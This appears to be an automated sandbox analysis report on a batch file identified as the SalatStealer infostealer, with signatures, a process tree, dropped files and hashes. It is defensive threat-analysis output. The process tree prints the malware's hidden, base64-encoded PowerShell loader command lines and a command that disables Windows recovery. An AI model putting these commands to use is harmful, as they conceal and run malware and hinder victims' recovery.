Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:51

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-eexnlaws7r
  • SHA256 c8a570386841eb4e36926dfe570fee5ae70aab832b770581fb7e5c31752752a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 16 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v3nrq03j\v3nrq03j.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4188
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A1F.tmp" "c:\Users\Admin\AppData\Local\Temp\v3nrq03j\CSCF98020473B884659BA775683360B81A.TMP"
              6⤵
                PID:916
            • C:\Users\Admin\AppData\Local\Temp\p_3579c8c3-4204-4075-acae-00bfb6fc4134.exe
              "C:\Users\Admin\AppData\Local\Temp\p_3579c8c3-4204-4075-acae-00bfb6fc4134.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2672
              • C:\Program Files (x86)\Microsoft\fontdrvhost.exe
                "C:\Program Files (x86)\Microsoft\fontdrvhost.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4304
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2936
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:1460
                • C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:2916
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:368
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:5816

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RES4A1F.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES4A1F.tmp
              • Size 1KB
              • SHA256 a38b85b4e8957109f316dc73c6f840d9b4937db7da330afc4e0afbb08ff6059e
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_55qgllqb.r3n.psm1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55qgllqb.r3n.psm1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_3579c8c3-4204-4075-acae-00bfb6fc4134.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_3579c8c3-4204-4075-acae-00bfb6fc4134.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              v3nrq03j.dll

              • Path C:\Users\Admin\AppData\Local\Temp\v3nrq03j\v3nrq03j.dll
              • Size 5KB
              • SHA256 0d234e6887b6d1945868132b5631a6607d0a1595573c847be1ca2c972c3c5315
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSCF98020473B884659BA775683360B81A.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v3nrq03j\CSCF98020473B884659BA775683360B81A.TMP
              • Size 652B
              • SHA256 8df33daac3c7e81d501293ce282c2542f6ad2fc9588d991dfaec6aff8bc41cf8
              • MD5 SHA1 SHA512 TLSH

              v3nrq03j.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v3nrq03j\v3nrq03j.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              v3nrq03j.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v3nrq03j\v3nrq03j.cmdline
              • Size 369B
              • SHA256 1c98258b752e209acd4ed650b8deec203cd368cf019b76f2e1921b92f42ebb91
              • MD5 SHA1 SHA512 TLSH

              memory/1752-826-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-827-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-825-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-843-0x000002469A2C0000-0x000002469A2C8000-memory.dmp

              memory/1752-824-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-830-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-819-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-820-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-829-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/1752-855-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/2672-856-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/2672-853-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/2672-864-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/2672-858-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/2672-857-0x0000000000430000-0x0000000001085000-memory.dmp

              memory/2916-886-0x0000000000820000-0x0000000001475000-memory.dmp

              memory/2916-882-0x0000000000820000-0x0000000001475000-memory.dmp

              memory/2936-896-0x0000000007670000-0x000000000768A000-memory.dmp

              memory/2936-897-0x00000000076D0000-0x00000000076DA000-memory.dmp

              memory/2936-900-0x00000000088F0000-0x0000000008EAA000-memory.dmp

              memory/2936-899-0x0000000007B60000-0x0000000007B82000-memory.dmp

              memory/2936-898-0x0000000007780000-0x0000000007816000-memory.dmp

              memory/2936-895-0x0000000007CB0000-0x000000000832C000-memory.dmp

              memory/2936-888-0x00000000074F0000-0x0000000007526000-memory.dmp

              memory/2936-890-0x0000000070930000-0x0000000070C8B000-memory.dmp

              memory/2936-894-0x0000000007550000-0x00000000075F3000-memory.dmp

              memory/2936-893-0x0000000007530000-0x0000000007550000-memory.dmp

              memory/2936-889-0x00000000707D0000-0x000000007081C000-memory.dmp

              memory/2936-887-0x0000000006670000-0x00000000066B8000-memory.dmp

              memory/2936-884-0x00000000060F0000-0x000000000613C000-memory.dmp

              memory/2936-883-0x00000000060A0000-0x00000000060BE000-memory.dmp

              memory/2936-876-0x0000000005CC0000-0x000000000601B000-memory.dmp

              memory/2936-873-0x0000000005B40000-0x0000000005BA6000-memory.dmp

              memory/2936-869-0x0000000004B90000-0x0000000004BC6000-memory.dmp

              memory/2936-870-0x0000000005390000-0x00000000059DA000-memory.dmp

              memory/2936-871-0x00000000052C0000-0x00000000052E2000-memory.dmp

              memory/2936-872-0x0000000005AD0000-0x0000000005B36000-memory.dmp

              memory/4136-5-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-11-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-13-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-17-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-14-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-15-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-12-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-6-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-0-0x00007FFC6D1DF000-0x00007FFC6D1E0000-memory.dmp

              memory/4136-4-0x00000286EAEF0000-0x00000286EAF12000-memory.dmp

              memory/4136-10-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-9-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-8-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-7-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4136-3-0x00007FFC6D050000-0x00007FFC6D9F4000-memory.dmp

              memory/4304-913-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-868-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-867-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-907-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-908-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-909-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-910-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-911-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-912-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-866-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-914-0x00000000000B0000-0x0000000000D05000-memory.dmp

              memory/4304-915-0x00000000000B0000-0x0000000000D05000-memory.dmp